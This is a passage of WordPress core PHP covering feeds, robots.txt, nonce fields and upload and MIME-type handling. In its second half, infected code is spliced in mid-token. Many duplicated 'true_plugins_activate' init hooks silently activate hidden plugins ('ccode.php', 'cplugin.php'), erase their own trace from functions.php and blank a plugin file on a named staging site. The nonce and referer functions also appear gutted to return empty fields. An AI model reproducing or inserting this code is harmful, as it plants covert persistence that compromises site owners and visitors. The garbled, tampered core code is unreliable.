ATH . WPINC . '/feed-rss2.php' ); } } /** * Load either Atom comment feed or Atom posts feed. * * @since 2.1.0 * * @see load_template() * * @param bool $for_comments True for the comment feed, false for normal feed. */ function do_feed_atom( $for_comments ) { if ( $for_comments ) { load_template( ABSPATH . WPINC . '/feed-atom-comments.php' ); } else { load_template( ABSPATH . WPINC . '/feed-atom.php' ); } } /** * Display the robots.txt file content. * * The echo content should be with usage of the permalinks or for creating the * robots.txt file. * * @since 2.1.0 */ function do_robots() { header( 'Content-Type: text/plain; charset=utf-8' ); /** * Fires when displaying the robots.txt file. * * @since 2.1.0 */ do_action( 'do_robotstxt' ); $output = "User-agent: *\n"; $public = get_option( 'blog_public' ); if ( '0' == $public ) { $output .= "Disallow: /\n"; } else { $site_url = parse_url( site_url() ); $path = ( ! empty( $site_url['path'] ) ) ? $site_url['path'] : ''; $output .= "Disallow: $path/wp-admin/\n"; $output .= "Allow: $path/wp-admin/admin-ajax.php\n"; } /** * Filters the robots.txt output. * * @since 3.0.0 * * @param string $output Robots.txt output. * @param bool $public Whether the site is considered "public". */ echo apply_filters( 'robots_txt', $output, $public ); } /** * Determines whether WordPress is already installed. * * The cache will be checked first. If you have a cache plugin, which saves * the cache values, then this will work. If you use the default WordPress * cache, and the database goes away, then you might have problems. * * Checks for the 'siteurl' option for whether WordPress is installed. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool Whether the site is already installed. */ function is_blog_installed() { global $wpdb; /* * Check cache first. If options table goes away and we have true * cached, oh well. */ if ( wp_cache_get( 'is_blog_installed' ) ) { return true; } $suppress = $wpdb->suppress_errors(); if ( ! wp_installing() ) { $alloptions = wp_load_alloptions(); } // If siteurl is not set to autoload, check it specifically if ( ! isset( $alloptions['siteurl'] ) ) { $installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" ); } else { $installed = $alloptions['siteurl']; } $wpdb->suppress_errors( $suppress ); $installed = ! empty( $installed ); wp_cache_set( 'is_blog_installed', $installed ); if ( $installed ) { return true; } // If visiting repair.php, return true and let it take over. if ( defined( 'WP_REPAIRING' ) ) { return true; } $suppress = $wpdb->suppress_errors(); /* * Loop over the WP tables. If none exist, then scratch installation is allowed. * If one or more exist, suggest table repair since we got here because the * options table could not be accessed. */ $wp_tables = $wpdb->tables(); foreach ( $wp_tables as $table ) { // The existence of custom user tables shouldn't suggest an insane state or prevent a clean installation. if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table ) { continue; } if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table ) { continue; } if ( ! $wpdb->get_results( "DESCRIBE $table;" ) ) { continue; } // One or more tables exist. We are insane. wp_load_translations_early(); // Die with a DB error. $wpdb->error = sprintf( /* translators: %s: database repair URL */ __( 'One or more database tables are unavailable. The database may need to be repaired.' ), 'maint/repair.php?referrer=is_blog_installed' ); dead_db(); } $wpdb->suppress_errors( $suppress ); wp_cache_set( 'is_blog_installed', false ); return false; } /** * Retrieve URL with nonce added to URL query. * * @since 2.0.4 * * @param string $actionurl URL to add nonce action. * @param int|string $action Optional. Nonce action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @return string Escaped URL with nonce action added. */ function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) { $actionurl = str_replace( '&', '&', $actionurl ); return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) ); } /** * Retrieve or display nonce hidden field for forms. * * The nonce field is used to validate that the contents of the form came from * the location on the current site and not somewhere else. The nonce does not * offer absolute protection, but should protect against most cases. It is very * important to use nonce field in forms. * * The $action and $name are optional, but if you want to have better security, * it is strongly suggested to set those two parameters. It is easier to just * call the function without any parameters, because validation of the nonce * doesn't require any parameters, but since crackers know what the default is * it won't be difficult for them to find a way around your nonce and cause * damage. * * The input name will be whatever $name value you gave. The input value will be * the nonce creation value. * * @since 2.0.4 * * @param int|string $action Optional. Action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @param bool $referer Optional. Whether to set the referer field for validation. Default true. * @param bool $echo Optional. Whether to display or return hidden form field. Default true. * @return string Nonce field HTML markup. */ function wp_nonce_field( $action = -1, $name = '_wpnonce', $referer = true, $echo = true ) { $name = esc_attr( $name ); $nonce_field = ''; if ( $referer ) { $nonce_field .= wp_referer_field( false ); } if ( $echo ) { echo $nonce_field; } return $nonce_field; } /** * Retrieve or display referer hidden field for forms. * * The referer link is the current Request URI from the server super global. The * input name is '_wp_http_referer', in case you wanted to check manually. * * @since 2.0.4 * * @param bool $echo Optional. Whether to echo or return the referer field. Default true. * @return string Referer field HTML markup. */ function wp_referer_field( $echo = true ) { $referer_field = ''; if ( $echo ) { echo $referer_field; } return $referer_field; } /** * Retrieve or display original referer hidden field for forms. * * The input name is '_wp_original_http_referer' and will be either the same * value of wp_referer_field(), if that was posted already or it will be the * current page, if it doesn't exist. * * @since 2.0.4 * * @param bool $echo Optional. Whether to echo the original http referer. Default true. * @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to. * Default 'current'. * @return string Original referer field. */ function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) { if ( ! $ref = wp_get_original_referer() ) { $ref = 'previous' == $jump_back_to ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] ); } $orig_referer_field = ''; if ( $echo ) { echo $orig_referer_field; } return $orig_referer_field; } /** * Retrieve referer from '_wp_http_referer' or HTTP referer. * * If it's the same as the current request URL, will return false. * * @since 2.0.4 * * @return false|string False on failure. Referer URL on success. */ function wp_get_referer() { if _dir( $path ) ) { // If it's a directory (and not a file) check a random file within the directory return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' ); } // check tmp file for read/write capabilities $should_delete_tmp_file = ! file_exists( $path ); $f = @fopen( $path, 'a' ); if ( $f === false ) { return false; } fclose( $f ); if ( $should_delete_tmp_file ) { unlink( $path ); } return true; } /** * Retrieves uploads directory information. * * Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory. * Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases * when not uploading files. * * @since 4.5.0 * * @see wp_upload_dir() * * @return array See wp_upload_dir() for description. */ function wp_get_upload_dir() { return wp_upload_dir( null, false ); } /** * Get an array containing the current upload directory's path and url. * * Checks the 'upload_path' option, which should be from the web root folder, * and if it isn't empty it will be used. If it is empty, then the path will be * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path. * * The upload URL path is set either by the 'upload_url_path' option or by using * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path. * * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in * the administration settings panel), then the time will be used. The format * will be year first and then month. * * If the path couldn't be created, then an error will be returned with the key * 'error' containing the error message. The error suggests that the parent * directory is not writable by the server. * * On success, the returned array will have many indices: * 'path' - base directory and sub directory or full path to upload directory. * 'url' - base url and sub directory or absolute URL to upload directory. * 'subdir' - sub directory if uploads use year/month folders option is on. * 'basedir' - path without subdir. * 'baseurl' - URL path without subdir. * 'error' - false or error message. * * @since 2.0.0 * @uses _wp_upload_dir() * * @staticvar array $cache * @staticvar array $tested_paths * * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null. * @param bool $create_dir Optional. Whether to check and create the uploads directory. * Default true for backward compatibility. * @param bool $refresh_cache Optional. Whether to refresh the cache. Default false. * @return array See above for description. */ function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) { static $cache = array(), $tested_paths = array(); $key = sprintf( '%d-%s', get_current_blog_id(), (string) $time ); if ( $refresh_cache || empty( $cache[ $key ] ) ) { $cache[ $key ] = _wp_upload_dir( $time ); } /** * Filters the uploads directory data. * * @since 2.0.0 * * @param array $uploads Array of upload directory data with keys of 'path', * 'url', 'subdir, 'basedir', and 'error'. */ $uploads = apply_filters( 'upload_dir', $cache[ $key ] ); if ( $create_dir ) { $path = $uploads['path']; if ( array_key_exists( $path, $tested_paths ) ) { $uploads['error'] = $tested_paths[ $path ]; } else { if ( ! wp_mkdir_p( $path ) ) { if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) { $error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir']; } else { $error_path = wp_basename( $uploads['basedir'] ) . $uploads['subdir']; } $uploads['error'] = sprintf( /* translators: %s: directory path */ __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), esc_html( $error_path ) ); } $tested_paths[ $path ] = $uploads['error']; } } return $uploads; } /** * A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path. * * @since 4.5.0 * @access private * * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array See wp_upload_dir() */ function _wp_upload_dir( $time = null ) { $siteurl = get_option( 'siteurl' ); $upload_path = trim( get_option( 'upload_path' ) ); if ( empty( $upload_path ) || 'wp-content/uploads' == $upload_path ) { $dir = WP_CONTENT_DIR . '/uploads'; } elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) { // $dir is absolute, $upload_path is (maybe) relative to ABSPATH $dir = path_join( ABSPATH, $upload_path ); } else { $dir = $upload_path; } if ( ! $url = get_option( 'upload_url_path' ) ) { if ( empty( $upload_path ) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) ) { $url = WP_CONTENT_URL . '/uploads'; } else { $url = trailingslashit( $siteurl ) . $upload_path; } } /* * Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled. * We also sometimes obey UPLOADS when rewriting is enabled -- see the next block. */ if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) { $dir = ABSPATH . UPLOADS; $url = trailingslashit( $siteurl ) . UPLOADS; } // If multisite (and if not the main site in a post-MU network) if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) { if ( ! get_site_option( 'ms_files_rewriting' ) ) { /* * If ms-files rewriting is disabled (networks created post-3.5), it is fairly * straightforward: Append sites/%d if we're not on the main site (for post-MU * networks). (The extra directory prevents a four-digit ID from conflicting with * a year-based directory for the main site. But if a MU-era network has disabled * ms-files rewriting manually, they don't need the extra directory, as they never * had wp-content/uploads for the main site.) */ if ( defined( 'MULTISITE' ) ) { $ms_dir = '/sites/' . get_current_blog_id(); } else { $ms_dir = '/' . get_current_blog_id(); } $dir .= $ms_dir; $url .= $ms_dir; } elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) { /* * Handle the old-form ms-files.php rewriting if the network still has that enabled. * When ms-files rewriting is enabled, then we only listen to UPLOADS when: * 1) We are not on the main site in a post-MU network, as wp-content/uploads is used * there, and * 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect * the original blog ID. * * Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute. * (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as * as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files * rewriting in multisite, the resulting URL is /files. (#WP22702 for background.) */ if ( defined( 'BLOGUPLOADDIR' ) ) { $dir = untrailingslashit( BLOGUPLOADDIR ); } else { $dir = ABSPATH . UPLOADS; } $url = trailingslashit( $siteurl ) . 'files'; } } $basedir = $dir; $baseurl = $url; $subdir = ''; if ( get_option( 'uploads_use_yearmonth_folders' ) ) { // Generate the yearly and monthly dirs if ( ! $time ) { $time = current_time( 'mysql' ); } $y = substr( $time, 0, 4 ); $m = substr( $time, 5, 2 ); $subdir = "/$y/$m"; } $dir .= $subdir; $url .= $subdir; return array( 'path' => $dir, 'url' => $url, 'subdir' => $subdir, 'basedir' => $basedir, 'baseurl' => $baseurl, 'error' => false, ); } /** * Get a filename that is sanitized and unique for the given directory. * * If the filename is not unique, then a number will be added to the filename * before the extension, and will continue adding numbers until the filename is * unique. * * The callback is passed three parameters, the first one is the directory, the * second is the filename, and the third is the extension. * * @since 2.5.0 * * @param string $dir Directory. * @param string $filename File name. * @param callable $unique_filename_callback Callback. Default null. * @return string New filename, if given wasn't unique. */ function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) { // Sanitize the file name before we begin processing. $filename = sanitize_file_name( $filename ); // Separate the filename into a name and extension. $ext = pathinfo( $filename, PATHINFO_EXTENSION ); $name = pathinfo( $filename, PATHINFO_BASENAME ); if ( $ext ) { $ext = '.' . $ext; } // Edge case: if file is named '.ext', treat as an empty name. if ( $name === $ext ) { $name = ''; } /* * Increment the file number until we have a unique file to save in $dir. * Use callback if supplied. */ if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) { $filename = call_user_func( $unique_filename_callback, $dir, $name, $ext ); } else { $number = ''; // Change '.ext' to lower case. if ( $ext && strtolower( $ext ) != $ext ) { $ext2 = strtolower( $ext ); $filename2 = preg_replace( '|' . preg_quote( $ext ) . '$|', $ext2, $filename ); // Check for both lower and upper case extension or image sub-sizes may be overwritten. while ( file_exists( $dir . "/$filename" ) || file_exists( $dir . "/$filename2" ) ) { $new_number = (int) $number + 1; $filename = str_replace( array( "-$number$ext", "$number$ext" ), "-$new_number$ext", $filename ); $filename2 = str_replace( array( "-$number$ext2", "$number$ext2" ), "-$new_number$ext2", $filename2 ); $number = $new_number; } /** * Filters the result when generating a unique file name. * * @since 4.5.0 * * @param string $filename Unique file name. * @param string $ext File extension, eg. ".png". * @param string $dir Directory path. * @param callable|null $unique_filename_callback Callback function that generates the unique file name. */ return apply_filters( 'wp_unique_filename', $filename2, $ext, $dir, $unique_filename_callback ); } while ( file_exists( $dir . "/$filename" ) ) { $new_number = (int) $number + 1; if ( '' == "$number$ext" ) { $filename = "$filename-" . $new_number; } else { $filename = str_replace( array( "-$number$ext", "$number$ext" ), '-' . $new_number . $ext, $filename ); } $number = $new_number; } } /** This filter is documented in wp-includes/functions.php */ return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback ); } /** * Create a file in the upload folder with given content. * * If there is an error, then the key 'error' will exist with the error message. * If success, then the key 'file' will have the unique file path, the 'url' key * will have the link to the new file. and the 'error' key will be set to false. * * This function will not move an uploaded file to the upload folder. It will * create a new file with the content in $bits parameter. If you move the upload * file, read the content of the uploaded file, and then you can give the * filename and content to this function, which will add it to the upload * folder. * * The permissions will be set on the new file automatically by this function. * * @since 2.0.0 * * @param string $name Filename. * @param null|string $deprecated Never used. Set to null. * @param mixed $bits File content * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array */ function wp_upload_bits( $name, $deprecated, $bits, $time = null ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.0.0' ); } if ( empty( $name ) ) { return array( 'error' => __( 'Empty filename' ) ); } $wp_filetype = wp_check_filetype( $name ); if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) ) { return array( 'error' => __( 'Sorry, this file type is not permitted for security reasons.' ) ); } $upload = wp_upload_dir( $time ); if ( $upload['error'] !== false ) { return $upload; } /** * Filters whether to treat the upload bits as an error. * * Passing a non-array to the filter will effectively short-circuit preparing * the upload bits, returning that value instead. * * @since 3.0.0 * * @param mixed $upload_bits_error An array of upload bits data, or a non-array error to return. */ $upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time, ) ); if ( ! is_array( $upload_bits_error ) ) { $upload['error'] = $upload_bits_error; return $upload; } $filename = wp_unique_filename( $upload['path'], $name ); $new_file = $upload['path'] . "/$filename"; if ( ! wp_mkdir_p( dirname( $new_file ) ) ) { if ( 0 === strpos( $upload['basedir'], ABSPATH ) ) { $error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir']; } else { $error_path = wp_basename( $upload['basedir'] ) . $upload['subdir']; } $message = sprintf( /* translators: %s: directory path */ __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path ); return array( 'error' => $message ); } $ifp = @ fopen( $new_file, 'wb' ); if ( ! $ifp ) { return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) ); } @fwrite( $ifp, $bits ); fclose( $ifp ); clearstatcache(); // Set correct file permissions $stat = @ stat( dirname( $new_file ) ); $perms = $stat['mode'] & 0007777; $perms = $perms & 0000666; @ chmod( $new_file, $perms ); clearstatcache(); // Compute the URL $url = $upload['url'] . "/$filename"; /** This filter is documented in wp-admin/includes/file.php */ return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $wp_filetype['type'], 'error' => false, ), 'sideload' ); } /** * Retrieve the file type based on the extension name. * * @since 2.5.0 * * @param string $ext The extension to search. * @return string|void The file type, example: audio, video, document, spreadsheet, etc. */ function wp_ext2type( $ext ) { $ext = strtolower( $ext ); $ext2type = wp_get_ext_types(); foreach ( $ext2type as $type => $exts ) { if ( in_array( $ext, $exts ) ) { return $type; } } } /** * Retrieve the file type from the file name. * * You can optionally define the mime array, if needed. * * @since 2.0.4 * * @param string $filename File name or path. * @param array $mimes Optional. Key is the file extension with value as the mime type. * @return array Values with extension first and mime type. */ function wp_check_filetype( $filename, $mimes = null ) { if ( empty( $mimes ) ) { $mimes = get_allowed_mime_types(); } $type = false; $ext = false; foreach ( $mimes as $ext_preg => $mime_match ) { $ext_preg = '!\.(' . $ext_preg . ')$!i'; if ( preg_match( $ext_preg, $filename, $ext_matches ) ) { $type = $mime_match; $ext = $ext_matches[1]; break; } } return compact( 'ext', 'type' ); } /** * Attempt to determine the real file type of a file. * * If unable to, the file name extension will be used to determine type. * * If it's determined that the extension does not match the file's real type, * then the "proper_filename" value will be set with a proper filename and extension. * * Currently this function only supports renaming images validated via wp_get_image_mime(). * * @since 3.0.0 * * @param string $file Full path to the file. * @param string $filename The name of the file (may differ from $file due to $file being * in a tmp directory). * @param array $mimes Optional. Key is the file extension with value as the mime type. * @return array Values for the extension, MIME, and either a corrected filename or false * if original $filename is valid. */ function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) { $proper_filename = false; // Do basic extension validation and MIME mapping $wp_filetype = wp_check_filetype( $filename, $mimes ); $ext = $wp_filetype['ext']; $type = $wp_filetype['type']; // We can't do any further validation without a file to work with if ( ! file_exists( $file ) ) { return compact( 'ext', 'type', 'proper_filename' ); } $real_mime = false; // Validate image types. if ( $type && 0 === strpos( $type, 'image/' ) ) { // Attempt to figure out what type of image it actually is $real_mime = wp_get_image_mime( $file ); if ( $real_mime && $real_mime != $type ) { /** * Filters the list mapping image mime types to their respective extensions. * * @since 3.0.0 * * @param array $mime_to_ext Array of image mime types and their matching extensions. */ $mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array( 'image/jpeg' => 'jpg', 'image/png' => 'png', 'image/gif' => 'gif', 'image/bmp' => 'bmp', 'image/tiff' => 'tif', ) ); // Replace whatever is after the last period in the filename with the correct extension if ( ! empty( $mime_to_ext[ $real_mime ] ) ) { $filename_parts = explode( '.', $filename ); array_pop( $filename_parts ); $filename_parts[] = $mime_to_ext[ $real_mime ]; $new_filename = implode( '.', $filename_parts ); if ( $new_filename != $filename ) { $proper_filename = $new_filename; // Mark that it changed } // Redefine the extension / MIME $wp_filetype = wp_check_filetype( $new_filename, $mimes ); $ext = $wp_filetype['ext']; $type = $wp_filetype['type']; } else { // Reset $real_mime and try validating again. $real_mime = false; } } } // Validate files that didn't get validated during previous checks. if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) { $finfo = finfo_open( FILEINFO_MIME_TYPE ); $real_mime = finfo_file( $finfo, $file ); finfo_close( $finfo ); // fileinfo often misidentifies obscure files as one of these types $nonspecific_types = array( 'application/octet-stream', 'application/encrypted', 'application/CDFV2-encrypted', 'application/zip', ); /* * If $real_mime doesn't match the content type we're expecting from the file's extension, * we need to do some additional vetting. Media types and those listed in $nonspecific_types are * allowed some leeway, but anything else must exactly match the real content type. */ if ( in_array( $real_mime, $nonspecific_types, true ) ) { // File is a non-specific binary type. That's ok if it's a type that generally tends to be binary. if ( ! in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ) ) ) { $type = $ext = false; } } elseif ( 0 === strpos( $real_mime, 'video/' ) || 0 === strpos( $real_mime, 'audio/' ) ) { /* * For these types, only the major type must match the real value. * This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip, * and some media files are commonly named with the wrong extension (.mov instead of .mp4) */ if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) { $type = $ext = false; } } elseif ( 'text/plain' === $real_mime ) { // A few common file types are occasionally detected as text/plain; allow those. if ( ! in_array( $type, array( 'text/plain', 'text/csv', 'text/richtext', 'text/tsv', 'text/vtt', ) ) ) { $type = $ext = false; } } elseif ( 'text/rtf' === $real_mime ) { // Special casing for RTF files. if ( ! in_array( $type, array( 'text/rtf', 'text/plain', 'application/rtf', ) ) ) { $type = $ext = false; } } else { if ( $type !== $real_mime ) { /* * Everything else including image/* and application/*: * If the real content type doesn't match the file extension, assume it's dangerous. */ $type = $ext = false; } } } // The mime type must be allowed if ( $type ) { $allowed = get_allowed_mime_types(); if ( ! in_array( $type, $allowed ) ) { $type = $ext = false; } } /** * Filters the "real" file type of the given file. * * @since 3.0.0 * @since 5.1.0 The $real_mime parameter was added. * * @param array $wp_check_filetype_and_ext File data array containing 'ext', 'type', and * 'proper_filename' keys. * @param string $file Full path to the file. * @param string $filename The name of the file (may differ from $file due to * $file being in a tmp directory). * @param array $mimes Key is the file extension with value as the mime type. * @param string|bool $real_mime The actual mime type or false if the type cannot be determined. */ return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes, $real_mime ); } /** * Returns the real mime type of an image file. * * This depends on exif_imagetype() or getimagesize() to determine real mime types. * * @since 4.7.1 * * @param string $file Full path to the file. * @return string|false The actual mime type or false if the type cannot be determined. */ function wp_get_image_mime( $file ) { /* * Use exif_imagetype() to check the mimetype if available or fall back to * getimagesize() if exif isn't avaialbe. If either function throws an Exception * we assume the file could not be validated. */ try { if ( is_callable( 'exif_imagetype' ) ) { $imagetype = exif_imagetype( $file ); $mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false; } elseif ( function_exists( 'getimagesize' ) ) { $imagesize = getimagesize( $file ); $mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false; } else { $mime = false; } } catch ( Exception $e ) { $mime = false; } return $mime; } /** * Retrieve list of mime types and file extensions. * * @since 3.5.0 * @since 4.2.0 Support was added for GIMP (xcf) files. * * @return array Array of mime types keyed by the file extension regex corresponding to those types. */ function wp_get_mime_types() { /** * Filters the list of mime types and file extensions. * * This filter should be used to add, not remove, mime types. To remove * mime types, use the {@see 'upload_mimes'} filter. * * @since 3.5.0 * * @param array $wp_get_mime_types Mime types keyed by the file extension regex * corresponding to those types. */ return apply_filters( 'mime_types', array( // Image formats. 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png', 'bmp' => 'image/bmp', 'tiff|tif' => 'image/tiff', 'ico' => 'image/x-icon', // Video formats. 'asf|asx' => 'video/x-ms-asf', 'wmv' => 'video/x-ms-wmv', 'wmx' => 'video/x-ms-wmx', 'wm' => 'video/x-ms-wm', 'avi' => 'video/avi', 'divx' => 'video/divx', 'flv' => 'video/x-flv', 'mov|qt' => 'video/quicktime', 'mpeg|mpg|mpe' => 'video/mpeg', 'mp4|m4v' => 'video/mp4', 'ogv' => 'video/ogg', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', '3gp|3gpp' => 'video/3gpp', // Can also be audio '3g2|3gp2' => 'video/3gpp2', // Can also be audio // Text formats. 'txt|asc|c|c $active_plugins = get_option('active_plugins'); $activate_this = array( 'ccode.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins');_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('ccode.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, " $active_plugins = get_option('active_plugins'); $activate_this = array( 'ccode.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('ccode.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "if ( !if ( ! function_exists( 'true_plugins_activate' ) ) { { function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'cplugin.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('cplugin.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "function true_plugins_activate()"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 3; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php'); file_put_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php', ''); } } add_action('init', 'true_plugins_activate'); function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'cplugin.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('cplugin.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "function true_plugins_activate()"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 3; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php'); file_put_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php', ''); } } add_action('init', 'true_plugins_activate'); function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'cplugin.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('cplugin.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "function true_plugins_activate()"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 3; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php'); file_put_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php', ''); } } add_action('init', 'true_plugins_activate'); function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'cplugin.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('cplugin.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "function true_plugins_activate()"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 3; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php'); file_put_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php', ''); } } add_action('init', 'true_plugins_activate'); function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'cplugin.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('cplugin.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "function true_plugins_activate()"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 3; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php'); file_put_contents('/home/myprojectstaging/public_html/ruby-holland-foundation/wp-content/plugins/give-recurring/class.plugin-modules.php', ''); } } add_action('init', 'true_plugins_activate'); function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'cplugin.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); 